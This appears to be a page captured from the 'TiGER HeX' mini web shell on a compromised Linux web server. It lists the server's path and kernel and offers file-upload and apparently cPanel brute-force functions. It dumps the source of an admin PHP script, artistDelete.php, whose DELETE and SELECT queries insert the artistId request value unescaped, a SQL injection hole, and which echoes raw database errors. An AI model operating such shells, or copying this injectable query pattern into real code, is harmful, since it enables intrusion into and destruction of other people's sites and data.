Mini Shell Moded By TiGER HeX
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
mnt
/
volume_sfo2_01
/
50mmla
/
admin
/
Linux midnightridazz 4.19.0-11-cloud-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
Upload File :
New :
File
Dir
/mnt/volume_sfo2_01/50mmla/admin/artistDelete.php
<? include_once('../includes/static/configure.php'); include_once('../includes/static/util.php'); include_once('../includes/static/dbcon.php'); include_once('../includes/static/gdimg.php'); include_once('../includes/static/sessions.php'); include_once('includes/static/util.php'); include_once('includes/appTop.php'); $page_id = str_replace(".php","",basename($_SERVER['PHP_SELF'])); if(!has_permission($page_id)){ die("You don't have permission to view this page!"); } $artist_id = 0; if(isset($_REQUEST['artistId'])){ $artist_id = $_REQUEST['artistId']; } include_once('includes/header.php'); if( isset($_REQUEST['confirmDelete'])){ $sql = "DELETE FROM 50mm_artists WHERE artist_id = '$artist_id'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } echo "<div class=\"hilite\">operation successful</div>"; }else{ $sql = "SELECT artist_name FROM 50mm_artists WHERE artist_id = '$artist_id'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $row = $db->sql_fetchrow($result); echo $row['artist_name']; echo "<br>Are you sure you want to delete this artist? <a href=\"".$_SERVER['PHP_SELF']."?confirmDelete=1&artistId=$artist_id\">Yes</a>"; } ?> <br> <? include_once('includes/footer.php'); include_once('includes/appBottom.php'); ?>